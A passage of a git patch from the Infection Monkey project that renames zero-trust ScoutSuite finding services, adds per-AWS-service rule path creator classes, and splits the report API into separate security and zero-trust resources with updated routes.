a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/abstract_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/data_parsing/rule_path_building/abstract_rule_path_creator.py similarity index 80% rename from monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/abstract_rule_path_creator.py rename to monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/data_parsing/rule_path_building/abstract_rule_path_creator.py index c24a5cf0b..78c505d92 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/abstract_rule_path_creator.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/data_parsing/rule_path_building/abstract_rule_path_creator.py @@ -1,7 +1,7 @@ from abc import ABC, abstractmethod from typing import List -from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import FINDINGS, SERVICE_TYPES, SERVICES +from ...consts.service_consts import FINDINGS, SERVICE_TYPES, SERVICES class AbstractRulePathCreator(ABC): diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/data_parsing/rule_path_building/rule_path_creators/cloudformation_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/data_parsing/rule_path_building/rule_path_creators/cloudformation_rule_path_creator.py new file mode 100644 index 000000000..28a550527 --- /dev/null +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/data_parsing/rule_path_building/rule_path_creators/cloudformation_rule_path_creator.py @@ -0,0 +1,9 @@ +from ..abstract_rule_path_creator import AbstractRulePathCreator +from ....consts.rule_names.cloudformation_rules import CloudformationRules +from ....consts.service_consts import SERVICE_TYPES + + +class CloudformationRulePathCreator(AbstractRulePathCreator): + + service_type = SERVICE_TYPES.CLOUDFORMATION + supported_rules = CloudformationRules diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/data_parsing/rule_path_building/rule_path_creators/cloudtrail_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/data_parsing/rule_path_building/rule_path_creators/cloudtrail_rule_path_creator.py new file mode 100644 index 000000000..e0734fb42 --- /dev/null +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/data_parsing/rule_path_building/rule_path_creators/cloudtrail_rule_path_creator.py @@ -0,0 +1,9 @@ +from ..abstract_rule_path_creator import AbstractRulePathCreator +from ....consts.rule_names.cloudtrail_rules import CloudTrailRules +from ....consts.service_consts import SERVICE_TYPES + + +class CloudTrailRulePathCreator(AbstractRulePathCreator): + + service_type = SERVICE_TYPES.CLOUDTRAIL + supported_rules = CloudTrailRules diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/data_parsing/rule_path_building/rule_path_creators/cloudwatch_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/data_parsing/rule_path_building/rule_path_creators/cloudwatch_rule_path_creator.py new file mode 100644 index 000000000..acbb66611 --- /dev/null +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/data_parsing/rule_path_building/rule_path_creators/cloudwatch_rule_path_creator.py @@ -0,0 +1,9 @@ +from ..abstract_rule_path_creator import AbstractRulePathCreator +from ....consts.rule_names.cloudwatch_rules import CloudWatchRules +from ....consts.service_consts import SERVICE_TYPES + + +class CloudWatchRulePathCreator(AbstractRulePathCreator): + + service_type = SERVICE_TYPES.CLOUDWATCH + supported_rules = CloudWatchRules diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/data_parsing/rule_path_building/rule_path_creators/config_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/data_parsing/rule_path_building/rule_path_creators/config_rule_path_creator.py new file mode 100644 index 000000000..aded2d3c6 --- /dev/null +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/data_parsing/rule_path_building/rule_path_creators/config_rule_path_creator.py @@ -0,0 +1,9 @@ +from ..abstract_rule_path_creator import AbstractRulePathCreator +from ....consts.rule_names.config_rules import ConfigRules +from ....consts.service_consts import SERVICE_TYPES + + +class ConfigRulePathCreator(AbstractRulePathCreator): + + service_type = SERVICE_TYPES.CONFIG + supported_rules = ConfigRules diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/data_parsing/rule_path_building/rule_path_creators/ec2_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/data_parsing/rule_path_building/rule_path_creators/ec2_rule_path_creator.py new file mode 100644 index 000000000..3692df963 --- /dev/null +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/data_parsing/rule_path_building/rule_path_creators/ec2_rule_path_creator.py @@ -0,0 +1,9 @@ +from ..abstract_rule_path_creator import AbstractRulePathCreator +from ....consts.rule_names.ec2_rules import EC2Rules +from ....consts.service_consts import SERVICE_TYPES + + +class EC2RulePathCreator(AbstractRulePathCreator): + + service_type = SERVICE_TYPES.EC2 + supported_rules = EC2Rules diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/data_parsing/rule_path_building/rule_path_creators/elb_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/data_parsing/rule_path_building/rule_path_creators/elb_rule_path_creator.py new file mode 100644 index 000000000..055c61744 --- /dev/null +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/data_parsing/rule_path_building/rule_path_creators/elb_rule_path_creator.py @@ -0,0 +1,9 @@ +from ..abstract_rule_path_creator import AbstractRulePathCreator +from ....consts.rule_names.elb_rules import ELBRules +from ....consts.service_consts import SERVICE_TYPES + + +class ELBRulePathCreator(AbstractRulePathCreator): + + service_type = SERVICE_TYPES.ELB + supported_rules = ELBRules diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/data_parsing/rule_path_building/rule_path_creators/elbv2_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/data_parsing/rule_path_building/rule_path_creators/elbv2_rule_path_creator.py new file mode 100644 index 000000000..d45303f88 --- /dev/null +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/data_parsing/rule_path_building/rule_path_creators/elbv2_rule_path_creator.py @@ -0,0 +1,9 @@ +from ..abstract_rule_path_creator import AbstractRulePathCreator +from ....consts.rule_names.elbv2_rules import ELBv2Rules +from ....consts.service_consts import SERVICE_TYPES + + +class ELBv2RulePathCreator(AbstractRulePathCreator): + + service_type = SERVICE_TYPES.ELB_V2 + supported_rules = ELBv2Rules diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/data_parsing/rule_path_building/rule_path_creators/iam_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/data_parsing/rule_path_building/rule_path_creators/iam_rule_path_creator.py new file mode 100644 index 000000000..b131cd43b --- /dev/null +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/data_parsing/rule_path_building/rule_path_creators/iam_rule_path_creator.py @@ -0,0 +1,9 @@ +from ..abstract_rule_path_creator import AbstractRulePathCreator +from ....consts.rule_names.iam_rules import IAMRules +from ....consts.service_consts import SERVICE_TYPES + + +class IAMRulePathCreator(AbstractRulePathCreator): + + service_type = SERVICE_TYPES.IAM + supported_rules = IAMRules diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/data_parsing/rule_path_building/rule_path_creators/rds_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/data_parsing/rule_path_building/rule_path_creators/rds_rule_path_creator.py new file mode 100644 index 000000000..ac08a51b5 --- /dev/null +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/data_parsing/rule_path_building/rule_path_creators/rds_rule_path_creator.py @@ -0,0 +1,9 @@ +from ..abstract_rule_path_creator import AbstractRulePathCreator +from ....consts.rule_names.rds_rules import RDSRules +from ....consts.service_consts import SERVICE_TYPES + + +class RDSRulePathCreator(AbstractRulePathCreator): + + service_type = SERVICE_TYPES.RDS + supported_rules = RDSRules diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/data_parsing/rule_path_building/rule_path_creators/redshift_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/data_parsing/rule_path_building/rule_path_creators/redshift_rule_path_creator.py new file mode 100644 index 000000000..e567dec35 --- /dev/null +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/data_parsing/rule_path_building/rule_path_creators/redshift_rule_path_creator.py @@ -0,0 +1,9 @@ +from ..abstract_rule_path_creator import AbstractRulePathCreator +from ....consts.rule_names.redshift_rules import RedshiftRules +from ....consts.service_consts import SERVICE_TYPES + + +class RedshiftRulePathCreator(AbstractRulePathCreator): + + service_type = SERVICE_TYPES.REDSHIFT + supported_rules = RedshiftRules diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/data_parsing/rule_path_building/rule_path_creators/s3_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/data_parsing/rule_path_building/rule_path_creators/s3_rule_path_creator.py new file mode 100644 index 000000000..67be3914b --- /dev/null +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/data_parsing/rule_path_building/rule_path_creators/s3_rule_path_creator.py @@ -0,0 +1,9 @@ +from ..abstract_rule_path_creator import AbstractRulePathCreator +from ....consts.rule_names.s3_rules import S3Rules +from ....consts.service_consts import SERVICE_TYPES + + +class S3RulePathCreator(AbstractRulePathCreator): + + service_type = SERVICE_TYPES.S3 + supported_rules = S3Rules diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/data_parsing/rule_path_building/rule_path_creators/ses_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/data_parsing/rule_path_building/rule_path_creators/ses_rule_path_creator.py new file mode 100644 index 000000000..664dc9bc5 --- /dev/null +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/data_parsing/rule_path_building/rule_path_creators/ses_rule_path_creator.py @@ -0,0 +1,9 @@ +from ..abstract_rule_path_creator import AbstractRulePathCreator +from ....consts.rule_names.ses_rules import SESRules +from ....consts.service_consts import SERVICE_TYPES + + +class SESRulePathCreator(AbstractRulePathCreator): + + service_type = SERVICE_TYPES.SES + supported_rules = SESRules diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/data_parsing/rule_path_building/rule_path_creators/sns_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/data_parsing/rule_path_building/rule_path_creators/sns_rule_path_creator.py new file mode 100644 index 000000000..19189d258 --- /dev/null +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/data_parsing/rule_path_building/rule_path_creators/sns_rule_path_creator.py @@ -0,0 +1,9 @@ +from ..abstract_rule_path_creator import AbstractRulePathCreator +from ....consts.rule_names.sns_rules import SNSRules +from ....consts.service_consts import SERVICE_TYPES + + +class SNSRulePathCreator(AbstractRulePathCreator): + + service_type = SERVICE_TYPES.SNS + supported_rules = SNSRules diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/data_parsing/rule_path_building/rule_path_creators/sqs_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/data_parsing/rule_path_building/rule_path_creators/sqs_rule_path_creator.py new file mode 100644 index 000000000..214d19127 --- /dev/null +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/data_parsing/rule_path_building/rule_path_creators/sqs_rule_path_creator.py @@ -0,0 +1,9 @@ +from ..abstract_rule_path_creator import AbstractRulePathCreator +from ....consts.rule_names.sqs_rules import SQSRules +from ....consts.service_consts import SERVICE_TYPES + + +class SQSRulePathCreator(AbstractRulePathCreator): + + service_type = SERVICE_TYPES.SQS + supported_rules = SQSRules diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/data_parsing/rule_path_building/rule_path_creators/vpc_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/data_parsing/rule_path_building/rule_path_creators/vpc_rule_path_creator.py new file mode 100644 index 000000000..53abe3932 --- /dev/null +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/data_parsing/rule_path_building/rule_path_creators/vpc_rule_path_creator.py @@ -0,0 +1,9 @@ +from ..abstract_rule_path_creator import AbstractRulePathCreator +from ....consts.rule_names.vpc_rules import VPCRules +from ....consts.service_consts import SERVICE_TYPES + + +class VPCRulePathCreator(AbstractRulePathCreator): + + service_type = SERVICE_TYPES.VPC + supported_rules = VPCRules diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/data_parsing/rule_path_building/rule_path_creators_list.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/data_parsing/rule_path_building/rule_path_creators_list.py new file mode 100644 index 000000000..b69aa985b --- /dev/null +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/data_parsing/rule_path_building/rule_path_creators_list.py @@ -0,0 +1,35 @@ +from monkey_island.cc.services.zero_trust.scoutsuite_findings.data_parsing.rule_path_building.rule_path_creators.\ + cloudformation_rule_path_creator import CloudformationRulePathCreator +from monkey_island.cc.services.zero_trust.scoutsuite_findings.data_parsing.rule_path_building.rule_path_creators.\ + cloudtrail_rule_path_creator import CloudTrailRulePathCreator +from monkey_island.cc.services.zero_trust.scoutsuite_findings.data_parsing.rule_path_building.rule_path_creators.\ + cloudwatch_rule_path_creator import CloudWatchRulePathCreator +from monkey_island.cc.services.zero_trust.scoutsuite_findings.data_parsing.rule_path_building.rule_path_creators.\ + config_rule_path_creator import ConfigRulePathCreator +from monkey_island.cc.services.zero_trust.scoutsuite_findings.data_parsing.rule_path_building.rule_path_creators.\ + ec2_rule_path_creator import EC2RulePathCreator +from monkey_island.cc.services.zero_trust.scoutsuite_findings.data_parsing.rule_path_building.rule_path_creators.\ + elb_rule_path_creator import ELBRulePathCreator +from monkey_island.cc.services.zero_trust.scoutsuite_findings.data_parsing.rule_path_building.rule_path_creators.\ + elbv2_rule_path_creator import ELBv2RulePathCreator +from monkey_island.cc.services.zero_trust.scoutsuite_findings.data_parsing.rule_path_building.rule_path_creators.\ + iam_rule_path_creator import IAMRulePathCreator +from monkey_island.cc.services.zero_trust.scoutsuite_findings.data_parsing.rule_path_building.rule_path_creators.\ + rds_rule_path_creator import RDSRulePathCreator +from monkey_island.cc.services.zero_trust.scoutsuite_findings.data_parsing.rule_path_building.rule_path_creators.\ + redshift_rule_path_creator import RedshiftRulePathCreator +from monkey_island.cc.services.zero_trust.scoutsuite_findings.data_parsing.rule_path_building.rule_path_creators.\ + s3_rule_path_creator import S3RulePathCreator +from monkey_island.cc.services.zero_trust.scoutsuite_findings.data_parsing.rule_path_building.rule_path_creators.\ + ses_rule_path_creator import SESRulePathCreator +from monkey_island.cc.services.zero_trust.scoutsuite_findings.data_parsing.rule_path_building.rule_path_creators.\ + sns_rule_path_creator import SNSRulePathCreator +from monkey_island.cc.services.zero_trust.scoutsuite_findings.data_parsing.rule_path_building.rule_path_creators. \ + sqs_rule_path_creator import SQSRulePathCreator +from monkey_island.cc.services.zero_trust.scoutsuite_findings.data_parsing.rule_path_building.rule_path_creators. \ + vpc_rule_path_creator import VPCRulePathCreator + +RULE_PATH_CREATORS_LIST = [EC2RulePathCreator, ELBv2RulePathCreator, RDSRulePathCreator, RedshiftRulePathCreator, + S3RulePathCreator, IAMRulePathCreator, CloudTrailRulePathCreator, ELBRulePathCreator, + VPCRulePathCreator, CloudWatchRulePathCreator, SQSRulePathCreator, SNSRulePathCreator, + SESRulePathCreator, ConfigRulePathCreator, CloudformationRulePathCreator] diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_auth_service.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/scoutsuite_auth_service.py similarity index 100% rename from monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_auth_service.py rename to monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/scoutsuite_auth_service.py diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_rule_service.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/scoutsuite_rule_service.py similarity index 92% rename from monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_rule_service.py rename to monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/scoutsuite_rule_service.py index 3b76194af..77d9c52f2 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_rule_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/scoutsuite_rule_service.py @@ -1,5 +1,5 @@ from monkey_island.cc.models.zero_trust.scoutsuite_rule import ScoutSuiteRule -from monkey_island.cc.services.zero_trust.scoutsuite.consts import rule_consts +from monkey_island.cc.services.zero_trust.scoutsuite_findings.consts import rule_consts class ScoutSuiteRuleService: diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_finding_service.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/scoutsuite_zt_finding_service.py similarity index 75% rename from monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_finding_service.py rename to monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/scoutsuite_zt_finding_service.py index eff9e64b0..a75dc838c 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_finding_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/scoutsuite_zt_finding_service.py @@ -4,11 +4,11 @@ from common.common_consts import zero_trust_consts from monkey_island.cc.models.zero_trust.finding import Finding from monkey_island.cc.models.zero_trust.scoutsuite_finding_details import ScoutSuiteFindingDetails from monkey_island.cc.models.zero_trust.scoutsuite_rule import ScoutSuiteRule -from monkey_island.cc.services.zero_trust.scoutsuite.consts.findings import ScoutSuiteFinding -from monkey_island.cc.services.zero_trust.scoutsuite.scoutsuite_rule_service import ScoutSuiteRuleService +from monkey_island.cc.services.zero_trust.scoutsuite_findings.consts.findings import ScoutSuiteFinding +from monkey_island.cc.services.zero_trust.scoutsuite_findings.scoutsuite_rule_service import ScoutSuiteRuleService -class ScoutSuiteFindingService: +class ScoutSuiteZTFindingService: @staticmethod def process_rule(finding: ScoutSuiteFinding, rule: ScoutSuiteRule): @@ -16,16 +16,16 @@ class ScoutSuiteFindingService: assert (len(existing_findings) < 2), "More than one finding exists for {}".format(finding.test) if len(existing_findings) == 0: - ScoutSuiteFindingService.create_new_finding_from_rule(finding, rule) + ScoutSuiteZTFindingService.create_new_finding_from_rule(finding, rule) else: - ScoutSuiteFindingService.add_rule(existing_findings[0], rule) + ScoutSuiteZTFindingService.add_rule(existing_findings[0], rule) @staticmethod def create_new_finding_from_rule(finding: ScoutSuiteFinding, rule: ScoutSuiteRule): details = ScoutSuiteFindingDetails() details.scoutsuite_rules = [rule] details.save() - status = ScoutSuiteFindingService.get_finding_status_from_rules(details.scoutsuite_rules) + status = ScoutSuiteZTFindingService.get_finding_status_from_rules(details.scoutsuite_rules) Finding.save_finding(finding.test, status, details) @staticmethod @@ -41,15 +41,15 @@ class ScoutSuiteFindingService: @staticmethod def add_rule(finding: Finding, rule: ScoutSuiteRule): - ScoutSuiteFindingService.change_finding_status_by_rule(finding, rule) + ScoutSuiteZTFindingService.change_finding_status_by_rule(finding, rule) finding.save() finding.details.fetch().add_rule(rule) @staticmethod def change_finding_status_by_rule(finding: Finding, rule: ScoutSuiteRule): - rule_status = ScoutSuiteFindingService.get_finding_status_from_rules([rule]) + rule_status = ScoutSuiteZTFindingService.get_finding_status_from_rules([rule]) finding_status = finding.status - new_finding_status = ScoutSuiteFindingService.get_finding_status_from_rule_status(finding_status, rule_status) + new_finding_status = ScoutSuiteZTFindingService.get_finding_status_from_rule_status(finding_status, rule_status) if finding_status != new_finding_status: finding.status = new_finding_status diff --git a/monkey/monkey_island/cc/services/zero_trust/finding_service.py b/monkey/monkey_island/cc/services/zero_trust/zero_trust_finding_service.py similarity index 77% rename from monkey/monkey_island/cc/services/zero_trust/finding_service.py rename to monkey/monkey_island/cc/services/zero_trust/zero_trust_finding_service.py index 02459eb0e..92f5aebe0 100644 --- a/monkey/monkey_island/cc/services/zero_trust/finding_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/zero_trust_finding_service.py @@ -3,28 +3,28 @@ from typing import List from common.common_consts import zero_trust_consts from common.utils.exceptions import UnknownFindingError from monkey_island.cc.models.zero_trust.finding import Finding -from monkey_island.cc.services.zero_trust.monkey_details_service import MonkeyDetailsService +from monkey_island.cc.services.zero_trust.monkey_findings.monkey_zt_details_service import MonkeyZTDetailsService -class FindingService: +class ZeroTrustFindingService: @staticmethod def get_all_findings() -> List[Finding]: findings = list(Finding.objects) for i in range(len(findings)): if findings[i].finding_type == zero_trust_consts.MONKEY_FINDING: - details = MonkeyDetailsService.fetch_details_for_display(findings[i].details.id) + details = MonkeyZTDetailsService.fetch_details_for_display(findings[i].details.id) elif findings[i].finding_type == zero_trust_consts.SCOUTSUITE_FINDING: details = findings[i].details.fetch().to_mongo() else: raise UnknownFindingError(f"Unknown finding type {findings[i].finding_type}") findings[i] = findings[i].to_mongo() - findings[i] = FindingService._get_enriched_finding(findings[i]) + findings[i] = ZeroTrustFindingService._get_enriched_finding(findings[i]) findings[i]['details'] = details return findings @staticmethod - def _get_enriched_finding(finding): + def _get_enriched_finding(finding: Finding) -> dict: test_info = zero_trust_consts.TESTS_MAP[finding['test']] enriched_finding = { 'finding_id': str(finding['_id']), From 3a9aa3191f8ee6a7a77fae4907a7c8a3ac886b33 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Fri, 15 Jan 2021 15:10:07 +0200 Subject: [PATCH 126/466] Separated zero trust and security report resources --- monkey/monkey_island/cc/app.py | 14 +++--- .../cc/resources/reporting/__init__.py | 0 .../cc/resources/reporting/report.py | 48 ------------------- .../cc/resources/security_report.py | 11 +++++ .../resources/zero_trust/zero_trust_report.py | 38 +++++++++++++++ .../cc/ui/src/components/pages/ReportPage.js | 10 ++-- 6 files changed, 60 insertions(+), 61 deletions(-) delete mode 100644 monkey/monkey_island/cc/resources/reporting/__init__.py delete mode 100644 monkey/monkey_island/cc/resources/reporting/report.py create mode 100644 monkey/monkey_island/cc/resources/security_report.py create mode 100644 monkey/monkey_island/cc/resources/zero_trust/zero_trust_report.py diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index 848d596d9..c53c04caa 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -7,6 +7,7 @@ from werkzeug.exceptions import NotFound import monkey_island.cc.environment.environment_singleton as env_singleton from common.common_consts.api_url_consts import T1216_PBA_FILE_DOWNLOAD_PATH +from monkey_island.cc.resources.zero_trust.zero_trust_report import ZeroTrustReport from monkey_island.cc.server_utils.consts import MONKEY_ISLAND_ABS_PATH from monkey_island.cc.server_utils.custom_json_encoder import CustomJSONEncoder from monkey_island.cc.database import database, mongo @@ -33,7 +34,7 @@ from monkey_island.cc.resources.node_states import NodeStates from monkey_island.cc.resources.pba_file_download import PBAFileDownload from monkey_island.cc.resources.pba_file_upload import FileUpload from monkey_island.cc.resources.remote_run import RemoteRun -from monkey_island.cc.resources.reporting.report import Report +from monkey_island.cc.resources.security_report import SecurityReport from monkey_island.cc.resources.root import Root from monkey_island.cc.resources.T1216_pba_file_download import T1216PBAFileDownload from monkey_island.cc.resources.telemetry import Telemetry @@ -123,13 +124,11 @@ def init_api_resources(api): api.add_resource(Node, '/api/netmap/node', '/api/netmap/node/') api.add_resource(NodeStates, '/api/netmap/nodeStates') - # report_type: zero_trust or security - api.add_resource( - Report, - '/api/report/', - '/api/report//') - api.add_resource(ZeroTrustFindingEvent, '/api/zero-trust/finding-event/') + api.add_resource(SecurityReport, '/api/report/security') + api.add_resource(ZeroTrustReport, '/api/report/zero-trust/') + api.add_resource(AttackReport, '/api/report/attack') + api.add_resource(ZeroTrustFindingEvent, '/api/zero-trust/finding-event/') api.add_resource(TelemetryFeed, '/api/telemetry-feed', '/api/telemetry-feed/') api.add_resource(Log, '/api/log', '/api/log/') api.add_resource(IslandLog, '/api/log/island/download', '/api/log/island/download/') @@ -140,7 +139,6 @@ def init_api_resources(api): '/api/fileUpload/?restore=') api.add_resource(RemoteRun, '/api/remote-monkey', '/api/remote-monkey/') api.add_resource(AttackConfiguration, '/api/attack') - api.add_resource(AttackReport, '/api/attack/report') api.add_resource(VersionUpdate, '/api/version-update', '/api/version-update/') api.add_resource(RemotePortCheck, '/api/monkey_control/check_remote_port/') api.add_resource(StartedOnIsland, '/api/monkey_control/started_on_island') diff --git a/monkey/monkey_island/cc/resources/reporting/__init__.py b/monkey/monkey_island/cc/resources/reporting/__init__.py deleted file mode 100644 index e69de29bb..000000000 diff --git a/monkey/monkey_island/cc/resources/reporting/report.py b/monkey/monkey_island/cc/resources/reporting/report.py deleted file mode 100644 index 1e262a997..000000000 --- a/monkey/monkey_island/cc/resources/reporting/report.py +++ /dev/null @@ -1,48 +0,0 @@ -import http.client - -import flask_restful -from flask import Response, jsonify - -from monkey_island.cc.models.zero_trust.scoutsuite_data_json import ScoutSuiteDataJson -from monkey_island.cc.resources.auth.auth import jwt_required -from monkey_island.cc.services.reporting.report import ReportService -from monkey_island.cc.services.zero_trust.finding_service import FindingService -from monkey_island.cc.services.zero_trust.zero_trust_service import ZeroTrustService - -ZERO_TRUST_REPORT_TYPE = "zero_trust" -SECURITY_REPORT_TYPE = "security" -REPORT_TYPES = [SECURITY_REPORT_TYPE, ZERO_TRUST_REPORT_TYPE] - -REPORT_DATA_PILLARS = "pillars" -REPORT_DATA_FINDINGS = "findings" -REPORT_DATA_PRINCIPLES_STATUS = "principles" -REPORT_DATA_SCOUTSUITE = "scoutsuite" - -__author__ = ["itay.mizeretz", "shay.nehmad"] - - -class Report(flask_restful.Resource): - - @jwt_required - def get(self, report_type=SECURITY_REPORT_TYPE, report_data=None): - if report_type == SECURITY_REPORT_TYPE: - return ReportService.get_report() - elif report_type == ZERO_TRUST_REPORT_TYPE: - if report_data == REPORT_DATA_PILLARS: - return jsonify({ - "statusesToPillars": ZeroTrustService.get_statuses_to_pillars(), - "pillarsToStatuses": ZeroTrustService.get_pillars_to_statuses(), - "grades": ZeroTrustService.get_pillars_grades() - }) - elif report_data == REPORT_DATA_PRINCIPLES_STATUS: - return jsonify(ZeroTrustService.get_principles_status()) - elif report_data == REPORT_DATA_FINDINGS: - return jsonify(FindingService.get_all_findings()) - elif report_data == REPORT_DATA_SCOUTSUITE: - try: - data = ScoutSuiteDataJson.objects.get().scoutsuite_data - except Exception: - data = "{}" - return Response(data, mimetype='application/json') - - flask_restful.abort(http.client.NOT_FOUND) diff --git a/monkey/monkey_island/cc/resources/security_report.py b/monkey/monkey_island/cc/resources/security_report.py new file mode 100644 index 000000000..db434d616 --- /dev/null +++ b/monkey/monkey_island/cc/resources/security_report.py @@ -0,0 +1,11 @@ +import flask_restful + +from monkey_island.cc.resources.auth.auth import jwt_required +from monkey_island.cc.services.reporting.report import ReportService + + +class SecurityReport(flask_restful.Resource): + + @jwt_required + def get(self): + return ReportService.get_report() diff --git a/monkey/monkey_island/cc/resources/zero_trust/zero_trust_report.py b/monkey/monkey_island/cc/resources/zero_trust/zero_trust_report.py new file mode 100644 index 000000000..0261ccb7f --- /dev/null +++ b/monkey/monkey_island/cc/resources/zero_trust/zero_trust_report.py @@ -0,0 +1,38 @@ +import http.client + +import flask_restful +from flask import Response, jsonify + +from monkey_island.cc.models.zero_trust.scoutsuite_data_json import ScoutSuiteDataJson +from monkey_island.cc.resources.auth.auth import jwt_required +from monkey_island.cc.services.zero_trust.zero_trust_finding_service import ZeroTrustFindingService +from monkey_island.cc.services.zero_trust.zero_trust_service import ZeroTrustService + +REPORT_DATA_PILLARS = "pillars" +REPORT_DATA_FINDINGS = "findings" +REPORT_DATA_PRINCIPLES_STATUS = "principles" +REPORT_DATA_SCOUTSUITE = "scoutsuite" + + +class ZeroTrustReport(flask_restful.Resource): + + @jwt_required + def get(self, report_data=None): + if report_data == REPORT_DATA_PILLARS: + return jsonify({ + "statusesToPillars": ZeroTrustService.get_statuses_to_pillars(), + "pillarsToStatuses": ZeroTrustService.get_pillars_to_statuses(), + "grades": ZeroTrustService.get_pillars_grades() + }) + elif report_data == REPORT_DATA_PRINCIPLES_STATUS: + return jsonify(ZeroTrustService.get_principles_status()) + elif report_data == REPORT_DATA_FINDINGS: + return jsonify(ZeroTrustFindingService.get_all_findings()) + elif report_data == REPORT_DATA_SCOUTSUITE: + try: + data = ScoutSuiteDataJson.objects.get().scoutsuite_data + except Exception: + data = "{}" + return Response(data, mimetype='application/json') + + flask_restful.abort(http.client.NOT_FOUND) diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js index e0b458c8b..4ce777f1e 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -46,7 +46,7 @@ class ReportPageComponent extends AuthComponent { securityReport: res }); }); - this.authFetch('/api/attack/report') + this.authFetch('/api/report/attack') .then(res => res.json()) .then(res => { this.setState({ @@ -61,22 +61,22 @@ class ReportPageComponent extends AuthComponent { getZeroTrustReportFromServer = async () => { let ztReport = {findings: {}, principles: {}, pillars: {}, scoutsuite_data: {}}; - await this.authFetch('/api/report/zero_trust/findings') + await this.authFetch('/api/report/zero-trust/findings') .then(res => res.json()) .then(res => { ztReport.findings = res; }); - await this.authFetch('/api/report/zero_trust/principles') + await this.authFetch('/api/report/zero-trust/principles') .then(res => 